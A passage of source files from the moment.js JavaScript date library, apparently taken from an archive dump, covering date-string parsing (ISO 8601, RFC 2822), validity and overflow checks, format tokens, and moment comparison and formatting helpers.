to current week. week = defaults(w.w, curWeek.week); if (w.d != null) { // weekday -- low day numbers are considered next week weekday = w.d; if (weekday < 0 || weekday > 6) { weekdayOverflow = true; } } else if (w.e != null) { // local weekday -- counting starts from begining of week weekday = w.e + dow; if (w.e < 0 || w.e > 6) { weekdayOverflow = true; } } else { // default to begining of week weekday = dow; } } if (week < 1 || week > weeksInYear(weekYear, dow, doy)) { getParsingFlags(config)._overflowWeeks = true; } else if (weekdayOverflow != null) { getParsingFlags(config)._overflowWeekday = true; } else { temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy); config._a[YEAR] = temp.year; config._dayOfYear = temp.dayOfYear; } } lib/create/check-overflow.js000064400000002474151677412270012054 0ustar00import { daysInMonth } from '../units/month'; import { YEAR, MONTH, DATE, HOUR, MINUTE, SECOND, MILLISECOND, WEEK, WEEKDAY } from '../units/constants'; import getParsingFlags from '../create/parsing-flags'; export default function checkOverflow (m) { var overflow; var a = m._a; if (a && getParsingFlags(m).overflow === -2) { overflow = a[MONTH] < 0 || a[MONTH] > 11 ? MONTH : a[DATE] < 1 || a[DATE] > daysInMonth(a[YEAR], a[MONTH]) ? DATE : a[HOUR] < 0 || a[HOUR] > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR : a[MINUTE] < 0 || a[MINUTE] > 59 ? MINUTE : a[SECOND] < 0 || a[SECOND] > 59 ? SECOND : a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND : -1; if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) { overflow = DATE; } if (getParsingFlags(m)._overflowWeeks && overflow === -1) { overflow = WEEK; } if (getParsingFlags(m)._overflowWeekday && overflow === -1) { overflow = WEEKDAY; } getParsingFlags(m).overflow = overflow; } return m; } lib/create/from-string.js000064400000016754151677412270011413 0ustar00import { configFromStringAndFormat } from './from-string-and-format'; import { createUTCDate } from './date-from-array'; import { configFromArray } from './from-array'; import { hooks } from '../utils/hooks'; import { deprecate } from '../utils/deprecate'; import getParsingFlags from './parsing-flags'; import {defaultLocaleMonthsShort} from '../units/month'; import {defaultLocaleWeekdaysShort} from '../units/day-of-week'; // iso 8601 regex // 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00) var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/; var isoDates = [ ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/], ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/], ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/], ['GGGG-[W]WW', /\d{4}-W\d\d/, false], ['YYYY-DDD', /\d{4}-\d{3}/], ['YYYY-MM', /\d{4}-\d\d/, false], ['YYYYYYMMDD', /[+-]\d{10}/], ['YYYYMMDD', /\d{8}/], // YYYYMM is NOT allowed by the standard ['GGGG[W]WWE', /\d{4}W\d{3}/], ['GGGG[W]WW', /\d{4}W\d{2}/, false], ['YYYYDDD', /\d{7}/] ]; // iso time formats and regexes var isoTimes = [ ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/], ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/], ['HH:mm:ss', /\d\d:\d\d:\d\d/], ['HH:mm', /\d\d:\d\d/], ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/], ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/], ['HHmmss', /\d\d\d\d\d\d/], ['HHmm', /\d\d\d\d/], ['HH', /\d\d/] ]; var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i; // date from iso format export function configFromISO(config) { var i, l, string = config._i, match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string), allowTime, dateFormat, timeFormat, tzFormat; if (match) { getParsingFlags(config).iso = true; for (i = 0, l = isoDates.length; i < l; i++) { if (isoDates[i][1].exec(match[1])) { dateFormat = isoDates[i][0]; allowTime = isoDates[i][2] !== false; break; } } if (dateFormat == null) { config._isValid = false; return; } if (match[3]) { for (i = 0, l = isoTimes.length; i < l; i++) { if (isoTimes[i][1].exec(match[3])) { // match[2] should be 'T' or space timeFormat = (match[2] || ' ') + isoTimes[i][0]; break; } } if (timeFormat == null) { config._isValid = false; return; } } if (!allowTime && timeFormat != null) { config._isValid = false; return; } if (match[4]) { if (tzRegex.exec(match[4])) { tzFormat = 'Z'; } else { config._isValid = false; return; } } config._f = dateFormat + (timeFormat || '') + (tzFormat || ''); configFromStringAndFormat(config); } else { config._isValid = false; } } // RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3 var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) { var result = [ untruncateYear(yearStr), defaultLocaleMonthsShort.indexOf(monthStr), parseInt(dayStr, 10), parseInt(hourStr, 10), parseInt(minuteStr, 10) ]; if (secondStr) { result.push(parseInt(secondStr, 10)); } return result; } function untruncateYear(yearStr) { var year = parseInt(yearStr, 10); if (year <= 49) { return 2000 + year; } else if (year <= 999) { return 1900 + year; } return year; } function preprocessRFC2822(s) { // Remove comments and folding whitespace and replace multiple-spaces with a single space return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').replace(/^\s\s*/, '').replace(/\s\s*$/, ''); } function checkWeekday(weekdayStr, parsedInput, config) { if (weekdayStr) { // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check. var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr), weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay(); if (weekdayProvided !== weekdayActual) { getParsingFlags(config).weekdayMismatch = true; config._isValid = false; return false; } } return true; } var obsOffsets = { UT: 0, GMT: 0, EDT: -4 * 60, EST: -5 * 60, CDT: -5 * 60, CST: -6 * 60, MDT: -6 * 60, MST: -7 * 60, PDT: -7 * 60, PST: -8 * 60 }; function calculateOffset(obsOffset, militaryOffset, numOffset) { if (obsOffset) { return obsOffsets[obsOffset]; } else if (militaryOffset) { // the only allowed military tz is Z return 0; } else { var hm = parseInt(numOffset, 10); var m = hm % 100, h = (hm - m) / 100; return h * 60 + m; } } // date and time from ref 2822 format export function configFromRFC2822(config) { var match = rfc2822.exec(preprocessRFC2822(config._i)); if (match) { var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]); if (!checkWeekday(match[1], parsedArray, config)) { return; } config._a = parsedArray; config._tzm = calculateOffset(match[8], match[9], match[10]); config._d = createUTCDate.apply(null, config._a); config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); getParsingFlags(config).rfc2822 = true; } else { config._isValid = false; } } // date from iso format or fallback export function configFromString(config) { var matched = aspNetJsonRegex.exec(config._i); if (matched !== null) { config._d = new Date(+matched[1]); return; } configFromISO(config); if (config._isValid === false) { delete config._isValid; } else { return; } configFromRFC2822(config); if (config._isValid === false) { delete config._isValid; } else { return; } // Final attempt, use Input Fallback hooks.createFromInputFallback(config); } hooks.createFromInputFallback = deprecate( 'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' + 'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' + 'discouraged and will be removed in an upcoming major release. Please refer to ' + 'http://momentjs.com/guides/#/warnings/js-date/ for more info.', function (config) { config._d = new Date(config._i + (config._useUTC ? ' UTC' : '')); } ); lib/create/parsing-flags.js000064400000001276151677412270011672 0ustar00function defaultParsingFlags() { // We need to deep clone this object. return { empty : false, unusedTokens : [], unusedInput : [], overflow : -2, charsLeftOver : 0, nullInput : false, invalidMonth : null, invalidFormat : false, userInvalidated : false, iso : false, parsedDateParts : [], meridiem : null, rfc2822 : false, weekdayMismatch : false }; } export default function getParsingFlags(m) { if (m._pf == null) { m._pf = defaultParsingFlags(); } return m._pf; } lib/create/from-string-and-array.js000064400000002756151677412270013264 0ustar00import { copyConfig } from '../moment/constructor'; import { configFromStringAndFormat } from './from-string-and-format'; import getParsingFlags from './parsing-flags'; import { isValid } from './valid'; import extend from '../utils/extend'; // date from string and array of format strings export function configFromStringAndArray(config) { var tempConfig, bestMoment, scoreToBeat, i, currentScore; if (config._f.length === 0) { getParsingFlags(config).invalidFormat = true; config._d = new Date(NaN); return; } for (i = 0; i < config._f.length; i++) { currentScore = 0; tempConfig = copyConfig({}, config); if (config._useUTC != null) { tempConfig._useUTC = config._useUTC; } tempConfig._f = config._f[i]; configFromStringAndFormat(tempConfig); if (!isValid(tempConfig)) { continue; } // if there is any input that was not parsed add a penalty for that format currentScore += getParsingFlags(tempConfig).charsLeftOver; //or tokens currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10; getParsingFlags(tempConfig).score = currentScore; if (scoreToBeat == null || currentScore < scoreToBeat) { scoreToBeat = currentScore; bestMoment = tempConfig; } } extend(config, bestMoment || tempConfig); } lib/create/from-object.js000064400000000743151677412270011342 0ustar00import { normalizeObjectUnits } from '../units/aliases'; import { configFromArray } from './from-array'; import map from '../utils/map'; export function configFromObject(config) { if (config._d) { return; } var i = normalizeObjectUnits(config._i); config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) { return obj && parseInt(obj, 10); }); configFromArray(config); } lib/create/from-string-and-format.js000064400000007623151677412270013434 0ustar00import { configFromISO, configFromRFC2822 } from './from-string'; import { configFromArray } from './from-array'; import { getParseRegexForToken } from '../parse/regex'; import { addTimeToArrayFromToken } from '../parse/token'; import { expandFormat, formatTokenFunctions, formattingTokens } from '../format/format'; import checkOverflow from './check-overflow'; import { HOUR } from '../units/constants'; import { hooks } from '../utils/hooks'; import getParsingFlags from './parsing-flags'; // constant that refers to the ISO standard hooks.ISO_8601 = function () {}; // constant that refers to the RFC 2822 form hooks.RFC_2822 = function () {}; // date from string and format string export function configFromStringAndFormat(config) { // TODO: Move this to another part of the creation flow to prevent circular deps if (config._f === hooks.ISO_8601) { configFromISO(config); return; } if (config._f === hooks.RFC_2822) { configFromRFC2822(config); return; } config._a = []; getParsingFlags(config).empty = true; // This array is used to make a Date, either with `new Date` or `Date.UTC` var string = '' + config._i, i, parsedInput, tokens, token, skipped, stringLength = string.length, totalParsedInputLength = 0; tokens = expandFormat(config._f, config._locale).match(formattingTokens) || []; for (i = 0; i < tokens.length; i++) { token = tokens[i]; parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0]; // console.log('token', token, 'parsedInput', parsedInput, // 'regex', getParseRegexForToken(token, config)); if (parsedInput) { skipped = string.substr(0, string.indexOf(parsedInput)); if (skipped.length > 0) { getParsingFlags(config).unusedInput.push(skipped); } string = string.slice(string.indexOf(parsedInput) + parsedInput.length); totalParsedInputLength += parsedInput.length; } // don't parse if it's not a known token if (formatTokenFunctions[token]) { if (parsedInput) { getParsingFlags(config).empty = false; } else { getParsingFlags(config).unusedTokens.push(token); } addTimeToArrayFromToken(token, parsedInput, config); } else if (config._strict && !parsedInput) { getParsingFlags(config).unusedTokens.push(token); } } // add remaining unparsed input length to the string getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength; if (string.length > 0) { getParsingFlags(config).unusedInput.push(string); } // clear _12h flag if hour is <= 12 if (config._a[HOUR] <= 12 && getParsingFlags(config).bigHour === true && config._a[HOUR] > 0) { getParsingFlags(config).bigHour = undefined; } getParsingFlags(config).parsedDateParts = config._a.slice(0); getParsingFlags(config).meridiem = config._meridiem; // handle meridiem config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem); configFromArray(config); checkOverflow(config); } function meridiemFixWrap (locale, hour, meridiem) { var isPm; if (meridiem == null) { // nothing to do return hour; } if (locale.meridiemHour != null) { return locale.meridiemHour(hour, meridiem); } else if (locale.isPM != null) { // Fallback isPm = locale.isPM(meridiem); if (isPm && hour < 12) { hour += 12; } if (!isPm && hour === 12) { hour = 0; } return hour; } else { // this is not supposed to happen return hour; } } lib/create/from-anything.js000064400000006457151677412270011725 0ustar00import isArray from '../utils/is-array'; import isObject from '../utils/is-object'; import isObjectEmpty from '../utils/is-object-empty'; import isUndefined from '../utils/is-undefined'; import isNumber from '../utils/is-number'; import isDate from '../utils/is-date'; import map from '../utils/map'; import { createInvalid } from './valid'; import { Moment, isMoment } from '../moment/constructor'; import { getLocale } from '../locale/locales'; import { hooks } from '../utils/hooks'; import checkOverflow from './check-overflow'; import { isValid } from './valid'; import { configFromStringAndArray } from './from-string-and-array'; import { configFromStringAndFormat } from './from-string-and-format'; import { configFromString } from './from-string'; import { configFromArray } from './from-array'; import { configFromObject } from './from-object'; function createFromConfig (config) { var res = new Moment(checkOverflow(prepareConfig(config))); if (res._nextDay) { // Adding is smart enough around DST res.add(1, 'd'); res._nextDay = undefined; } return res; } export function prepareConfig (config) { var input = config._i, format = config._f; config._locale = config._locale || getLocale(config._l); if (input === null || (format === undefined && input === '')) { return createInvalid({nullInput: true}); } if (typeof input === 'string') { config._i = input = config._locale.preparse(input); } if (isMoment(input)) { return new Moment(checkOverflow(input)); } else if (isDate(input)) { config._d = input; } else if (isArray(format)) { configFromStringAndArray(config); } else if (format) { configFromStringAndFormat(config); } else { configFromInput(config); } if (!isValid(config)) { config._d = null; } return config; } function configFromInput(config) { var input = config._i; if (isUndefined(input)) { config._d = new Date(hooks.now()); } else if (isDate(input)) { config._d = new Date(input.valueOf()); } else if (typeof input === 'string') { configFromString(config); } else if (isArray(input)) { config._a = map(input.slice(0), function (obj) { return parseInt(obj, 10); }); configFromArray(config); } else if (isObject(input)) { configFromObject(config); } else if (isNumber(input)) { // from milliseconds config._d = new Date(input); } else { hooks.createFromInputFallback(config); } } export function createLocalOrUTC (input, format, locale, strict, isUTC) { var c = {}; if (locale === true || locale === false) { strict = locale; locale = undefined; } if ((isObject(input) && isObjectEmpty(input)) || (isArray(input) && input.length === 0)) { input = undefined; } // object construction must be done this way. // https://github.com/moment/moment/issues/1423 c._isAMomentObject = true; c._useUTC = c._isUTC = isUTC; c._l = locale; c._i = input; c._f = format; c._strict = strict; return createFromConfig(c); } lib/create/date-from-array.js000064400000001222151677412270012116 0ustar00export function createDate (y, m, d, h, M, s, ms) { // can't just apply() to create a date: // https://stackoverflow.com/q/181348 var date = new Date(y, m, d, h, M, s, ms); // the date constructor remaps years 0-99 to 1900-1999 if (y < 100 && y >= 0 && isFinite(date.getFullYear())) { date.setFullYear(y); } return date; } export function createUTCDate (y) { var date = new Date(Date.UTC.apply(null, arguments)); // the Date.UTC function remaps years 0-99 to 1900-1999 if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) { date.setUTCFullYear(y); } return date; } lib/create/utc.js000064400000000300151677412270007713 0ustar00import { createLocalOrUTC } from './from-anything'; export function createUTC (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, true).utc(); } lib/create/local.js000064400000000275151677412270010225 0ustar00import { createLocalOrUTC } from './from-anything'; export function createLocal (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, false); } lib/create/valid.js000064400000002670151677412270010233 0ustar00import extend from '../utils/extend'; import { createUTC } from './utc'; import getParsingFlags from '../create/parsing-flags'; import some from '../utils/some'; export function isValid(m) { if (m._isValid == null) { var flags = getParsingFlags(m); var parsedParts = some.call(flags.parsedDateParts, function (i) { return i != null; }); var isNowValid = !isNaN(m._d.getTime()) && flags.overflow < 0 && !flags.empty && !flags.invalidMonth && !flags.invalidWeekday && !flags.weekdayMismatch && !flags.nullInput && !flags.invalidFormat && !flags.userInvalidated && (!flags.meridiem || (flags.meridiem && parsedParts)); if (m._strict) { isNowValid = isNowValid && flags.charsLeftOver === 0 && flags.unusedTokens.length === 0 && flags.bigHour === undefined; } if (Object.isFrozen == null || !Object.isFrozen(m)) { m._isValid = isNowValid; } else { return isNowValid; } } return m._isValid; } export function createInvalid (flags) { var m = createUTC(NaN); if (flags != null) { extend(getParsingFlags(m), flags); } else { getParsingFlags(m).userInvalidated = true; } return m; } lib/format/format.js000064400000005353151677412270010452 0ustar00import zeroFill from '../utils/zero-fill'; import isFunction from '../utils/is-function'; export var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; var formatFunctions = {}; export var formatTokenFunctions = {}; // token: 'M' // padded: ['MM', 2] // ordinal: 'Mo' // callback: function () { this.month() + 1 } export function addFormatToken (token, padded, ordinal, callback) { var func = callback; if (typeof callback === 'string') { func = function () { return this[callback](); }; } if (token) { formatTokenFunctions[token] = func; } if (padded) { formatTokenFunctions[padded[0]] = function () { return zeroFill(func.apply(this, arguments), padded[1], padded[2]); }; } if (ordinal) { formatTokenFunctions[ordinal] = function () { return this.localeData().ordinal(func.apply(this, arguments), token); }; } } function removeFormattingTokens(input) { if (input.match(/\[[\s\S]/)) { return input.replace(/^\[|\]$/g, ''); } return input.replace(/\\/g, ''); } function makeFormatFunction(format) { var array = format.match(formattingTokens), i, length; for (i = 0, length = array.length; i < length; i++) { if (formatTokenFunctions[array[i]]) { array[i] = formatTokenFunctions[array[i]]; } else { array[i] = removeFormattingTokens(array[i]); } } return function (mom) { var output = '', i; for (i = 0; i < length; i++) { output += isFunction(array[i]) ? array[i].call(mom, format) : array[i]; } return output; }; } // format date using native date object export function formatMoment(m, format) { if (!m.isValid()) { return m.localeData().invalidDate(); } format = expandFormat(format, m.localeData()); formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format); return formatFunctions[format](m); } export function expandFormat(format, locale) { var i = 5; function replaceLongDateFormatTokens(input) { return locale.longDateFormat(input) || input; } localFormattingTokens.lastIndex = 0; while (i >= 0 && localFormattingTokens.test(format)) { format = format.replace(localFormattingTokens, replaceLongDateFormatTokens); localFormattingTokens.lastIndex = 0; i -= 1; } return format; } lib/moment/compare.js000064400000004222151677412270010611 0ustar00import { isMoment } from './constructor'; import { normalizeUnits } from '../units/aliases'; import { createLocal } from '../create/local'; import isUndefined from '../utils/is-undefined'; export function isAfter (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); if (units === 'millisecond') { return this.valueOf() > localInput.valueOf(); } else { return localInput.valueOf() < this.clone().startOf(units).valueOf(); } } export function isBefore (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); if (units === 'millisecond') { return this.valueOf() < localInput.valueOf(); } else { return this.clone().endOf(units).valueOf() < localInput.valueOf(); } } export function isBetween (from, to, units, inclusivity) { inclusivity = inclusivity || '()'; return (inclusivity[0] === '(' ? this.isAfter(from, units) : !this.isBefore(from, units)) && (inclusivity[1] === ')' ? this.isBefore(to, units) : !this.isAfter(to, units)); } export function isSame (input, units) { var localInput = isMoment(input) ? input : createLocal(input), inputMs; if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(units || 'millisecond'); if (units === 'millisecond') { return this.valueOf() === localInput.valueOf(); } else { inputMs = localInput.valueOf(); return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf(); } } export function isSameOrAfter (input, units) { return this.isSame(input, units) || this.isAfter(input,units); } export function isSameOrBefore (input, units) { return this.isSame(input, units) || this.isBefore(input,units); } lib/moment/constructor.js000064400000004150151677412270011550 0ustar00import { hooks } from '../utils/hooks'; import hasOwnProp from '../utils/has-own-prop'; import isUndefined from '../utils/is-undefined'; import getParsingFlags from '../create/parsing-flags'; // Plugins that add properties should also add the key here (null value), // so we can properly clone ourselves. var momentProperties = hooks.momentProperties = []; export function copyConfig(to, from) { var i, prop, val; if (!isUndefined(from._isAMomentObject)) { to._isAMomentObject = from._isAMomentObject; } if (!isUndefined(from._i)) { to._i = from._i; } if (!isUndefined(from._f)) { to._f = from._f; } if (!isUndefined(from._l)) { to._l = from._l; } if (!isUndefined(from._strict)) { to._strict = from._strict; } if (!isUndefined(from._tzm)) { to._tzm = from._tzm; } if (!isUndefined(from._isUTC)) { to._isUTC = from._isUTC; } if (!isUndefined(from._offset)) { to._offset = from._offset; } if (!isUndefined(from._pf)) { to._pf = getParsingFlags(from); } if (!isUndefined(from._locale)) { to._locale = from._locale; } if (momentProperties.length > 0) { for (i = 0; i < momentProperties.length; i++) { prop = momentProperties[i]; val = from[prop]; if (!isUndefined(val)) { to[prop] = val; } } } return to; } var updateInProgress = false; // Moment prototype object export function Moment(config) { copyConfig(this, config); this._d = new Date(config._d != null ? config._d.getTime() : NaN); if (!this.isValid()) { this._d = new Date(NaN); } // Prevent infinite loop in case updateOffset creates new moment // objects. if (updateInProgress === false) { updateInProgress = true; hooks.updateOffset(this); updateInProgress = false; } } export function isMoment (obj) { return obj instanceof Moment || (obj != null && obj._isAMomentObject != null); } lib/moment/calendar.js000064400000002076151677412270010741 0ustar00import { createLocal } from '../create/local'; import { cloneWithOffset } from '../units/offset'; import isFunction from '../utils/is-function'; import { hooks } from '../utils/hooks'; export function getCalendarFormat(myMoment, now) { var diff = myMoment.diff(now, 'days', true); return diff < -6 ? 'sameElse' : diff < -1 ? 'lastWeek' : diff < 0 ? 'lastDay' : diff < 1 ? 'sameDay' : diff < 2 ? 'nextDay' : diff < 7 ? 'nextWeek' : 'sameElse'; } export function calendar (time, formats) { // We want to compare the start of today, vs this. // Getting start-of-today depends on whether we're local/utc/offset or not. var now = time || createLocal(), sod = cloneWithOffset(now, this).startOf('day'), format = hooks.calendarFormat(this, sod) || 'sameElse'; var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]); return this.format(output || this.localeData().calendar(format, this, createLocal(now))); } lib/moment/clone.js000064400000000150151677412270010257 0ustar00import { Moment } from './constructor'; export function clone () { return new Moment(this); } lib/moment/to.js000064400000001125151677412270007604 0ustar00import { createDuration } from '../duration/create'; import { createLocal } from '../create/local'; import { isMoment } from '../moment/constructor'; export function to (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } export function toNow (withoutSuffix) { return this.to(createLocal(), withoutSuffix); } lib/moment/locale.js000064400000001726151677412270010430 0ustar00import { getLocale } from '../locale/locales'; import { deprecate } from '../utils/deprecate'; // If passed a locale key, it will set the locale for this // instance. Otherwise, it will return the locale configuration // variables for this instance. export function locale (key) { var newLocaleData; if (key === undefined) { return this._locale._abbr; } else { newLocaleData = getLocale(key); if (newLocaleData != null) { this._locale = newLocaleData; } return this; } } export var lang = deprecate( 'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.', function (key) { if (key === undefined) { return this.localeData(); } else { return this.locale(key); } } ); export function localeData () { return this._locale; } lib/moment/start-end-of.js000064400000003021151677412270011462 0ustar00import { normalizeUnits } from '../units/aliases'; export function startOf (units) { units = normalizeUnits(units); // the following switch intentionally omits break keywords // to utilize falling through the cases. switch (units) { case 'year': this.month(0); /* falls through */ case 'quarter': case 'month': this.date(1); /* falls through */ case 'week': case 'isoWeek': case 'day': case 'date': this.hours(0); /* falls through */ case 'hour': this.minutes(0); /* falls through */ case 'minute': this.seconds(0); /* falls through */ case 'second': this.milliseconds(0); } // weeks are a special case if (units === 'week') { this.weekday(0); } if (units === 'isoWeek') { this.isoWeekday(1); } // quarters are also special if (units === 'quarter') { this.month(Math.floor(this.month() / 3) * 3); } return this; } export function endOf (units) { units = normalizeUnits(units); if (units === undefined || units === 'millisecond') { return this; } // 'date' is an alias for 'day', so it should be considered as such. if (units === 'date') { units = 'day'; } return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms'); } lib/moment/to-type.js000064400000001454151677412270010570 0ustar00export function valueOf () { return this._d.valueOf() - ((this._offset || 0) * 60000); } export function unix () { return Math.floor(this.valueOf() / 1000); } export function toDate () { return new Date(this.valueOf()); } export function toArray () { var m = this; return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()]; } export function toObject () { var m = this; return { years: m.year(), months: m.month(), date: m.date(), hours: m.hours(), minutes: m.minutes(), seconds: m.seconds(), milliseconds: m.milliseconds() }; } export function toJSON () { // new Date(NaN).toJSON() === null return this.isValid() ? this.toISOString() : null; } lib/moment/moment.js000064400000001176151677412270010467 0ustar00import { createLocal } from '../create/local'; import { createUTC } from '../create/utc'; import { createInvalid } from '../create/valid'; import { isMoment } from './constructor'; import { min, max } from './min-max'; import { now } from './now'; import momentPrototype from './prototype'; function createUnix (input) { return createLocal(input * 1000); } function createInZone () { return createLocal.apply(null, arguments).parseZone(); } export { now, min, max, isMoment, createUTC, createUnix, createLocal, createInZone, createInvalid, momentPrototype }; lib/moment/min-max.js000064400000003573151677412270010541 0ustar00import { deprecate } from '../utils/deprecate'; import isArray from '../utils/is-array'; import { createLocal } from '../create/local'; import { createInvalid } from '../create/valid'; export var prototypeMin = deprecate( 'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other < this ? this : other; } else { return createInvalid(); } } ); export var prototypeMax = deprecate( 'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other > this ? this : other; } else { return createInvalid(); } } ); // Pick a moment m from moments so that m[fn](other) is true for all // other. This relies on the function fn to be transitive. // // moments should either be an array of moment objects or an array, whose // first element is an array of moment objects. function pickBy(fn, moments) { var res, i; if (moments.length === 1 && isArray(moments[0])) { moments = moments[0]; } if (!moments.length) { return createLocal(); } res = moments[0]; for (i = 1; i < moments.length; ++i) { if (!moments[i].isValid() || moments[i][fn](res)) { res = moments[i]; } } return res; } // TODO: Use [].sort instead? export function min () { var args = [].slice.call(arguments, 0); return pickBy('isBefore', args); } export function max () { var args = [].slice.call(arguments, 0); return pickBy('isAfter', args); } lib/moment/format.js000064400000004245151677412270010460 0ustar00import { formatMoment } from '../format/format'; import { hooks } from '../utils/hooks'; import isFunction from '../utils/is-function'; hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ'; hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]'; export function toString () { return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ'); } export function toISOString(keepOffset) { if (!this.isValid()) { return null; } var utc = keepOffset !== true; var m = utc ? this.clone().utc() : this; if (m.year() < 0 || m.year() > 9999) { return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ'); } if (isFunction(Date.prototype.toISOString)) { // native implementation is ~50x faster, use it when we can if (utc) { return this.toDate().toISOString(); } else { return new Date(this.valueOf() + this.utcOffset() * 60 * 1000).toISOString().replace('Z', formatMoment(m, 'Z')); } } return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ'); } /** * Return a human readable representation of a moment that can * also be evaluated to get a new moment which is the same * * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects */ export function inspect () { if (!this.isValid()) { return 'moment.invalid(/* ' + this._i + ' */)'; } var func = 'moment'; var zone = ''; if (!this.isLocal()) { func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone'; zone = 'Z'; } var prefix = '[' + func + '("]'; var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY'; var datetime = '-MM-DD[T]HH:mm:ss.SSS'; var suffix = zone + '[")]'; return this.format(prefix + year + datetime + suffix); } export function format (inputString) { if (!inputString) { inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat; } var output = formatMoment(this, inputString); return this.localeData().postformat(output); } lib/moment/from.js000064400000001133151677412270010124 0ustar00import { createDuration } from '../duration/create'; import { createLocal } from '../create/local'; import { isMoment } from '../moment/constructor'; export function from (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } export function fromNow (withoutSuffix) { return this.from(createLocal(), withoutSuffix); } lib/moment/now.js000064400000000127151677412270007766 0ustar00export var 